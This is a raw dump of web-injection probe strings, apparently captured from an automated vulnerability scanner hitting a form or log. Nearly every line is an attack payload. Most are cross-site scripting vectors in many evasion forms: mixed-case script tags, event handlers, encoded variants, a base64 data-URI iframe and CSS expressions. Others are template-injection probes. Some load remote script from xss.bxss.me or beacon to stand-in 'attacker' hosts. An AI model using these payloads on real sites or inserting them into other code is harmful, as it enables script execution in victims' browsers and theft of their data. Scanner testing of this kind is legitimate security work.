555\u003CScRiPt\82mw(9577)\u003C/sCripT\u003E
555<auTAQ0k<
%F6<img zzz onmouseover=vtwx(94311) //%F6>
%F6<img zzz onmouseover=TCi4(94231) //%F6>
555lLyjU
<ScRiPt >VHg0(9810)</ScRiPt>
555<input autofocus onfocus=vtwx(9907)>
555<ScRiPt>82mw(9728)</sCripT>
555<input autofocus onfocus=TCi4(9096)>
555<WPM2TY>2O9MF[!+!]</WPM2TY>
<a HrEF=http://xss.bxss.me></a>
%F6<img zzz onmouseover=82mw(98091) //%F6>
<a HrEF=http://xss.bxss.me></a>
555<ifRAme sRc=9894.com></IfRamE>
<a HrEF=jaVaScRiPT:>
555<input autofocus onfocus=82mw(9249)>
<a HrEF=jaVaScRiPT:>
555<a9chKqD x=9808>
555}body{zzz:Expre/**/SSion(vtwx(9051))}
<a HrEF=http://xss.bxss.me></a>
555}body{zzz:Expre/**/SSion(TCi4(9114))}
555<img sRc='http://attacker-9532/log.php?
555Q3A1G
<ScRiPt >vtwx(9624)</ScRiPt>
<a HrEF=jaVaScRiPT:>
555<aKeFOMC<
555iIJkE
<ScRiPt >TCi4(9241)</ScRiPt>
555}body{zzz:Expre/**/SSion(82mw(9358))}
555<WKQVMA>RIUIN[!+!]</WKQVMA>
555<WKGGZC>UDRB9[!+!]</WKGGZC>
555Nqeuu
<ScRiPt >82mw(9745)</ScRiPt>
555<ifRAme sRc=9116.com></IfRamE>
555<ifRAme sRc=9768.com></IfRamE>
555<WF7XCE>VK4XK[!+!]</WF7XCE>
555<aekE6nX x=9914>
555<agKfkIE x=9703>
555<ifRAme sRc=9359.com></IfRamE>
555<img sRc='http://attacker-9486/log.php?
555<img sRc='http://attacker-9281/log.php?
555<aVnXqBq x=9096>
555<aVKtxbO<
555<aEjjitJ<
555<img sRc='http://attacker-9660/log.php?
555<akcVEEx<
555'"()&%<zzz><ScRiPt >0Xyt(9666)</ScRiPt>
'"()&%<zzz><ScRiPt >0Xyt(9716)</ScRiPt>
555
5559727712
555
bfg9551<s1﹥s2ʺs3ʹhjl9551
555
bfgx6283%C0%BEz1%C0%BCz2a%90bcxhjl6283
555
555
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
dfb[[${98991*97996}]]xca
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >0Xyt(9437)</ScRiPt>
555
555<WZJ3HD>0X0VW[!+!]</WZJ3HD>
555
555<script>0Xyt(9376)</script>
555
555<ScR<ScRiPt>IpT>0Xyt(9510)</sCr<ScRiPt>IpT>
555
555<ScRiPt
>0Xyt(9507)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9603></ScRiPt>
555
555<isindex type=image src=1 onerror=0Xyt(9907)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9421'>
555
555<body onload=0Xyt(9387)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=0Xyt(9116)>
555
555<img src=xyz OnErRor=0Xyt(9648)>
555
555<img/src=">" onerror=alert(9735)>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%30%58%79%74%289405%29%3C%2F%73%43%72%69%70%54%3E
555
555\u003CScRiPt\0Xyt(9051)\u003C/sCripT\u003E
555
555<ScRiPt>0Xyt(9297)</sCripT>
555
%F6<img zzz onmouseover=0Xyt(90521) //%F6>
555
555
555<input autofocus onfocus=0Xyt(9415)>
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555
555}body{zzz:Expre/**/SSion(0Xyt(9272))}
555
555mhvE5
<ScRiPt >0Xyt(9828)</ScRiPt>
555
555<W51BPE>RUGVH[!+!]</W51BPE>
555
555<ifRAme sRc=9081.com></IfRamE>
555
555<aR39RDP x=9595>
555
555<img sRc='http://attacker-9313/log.php?
555
555<aGbGue7<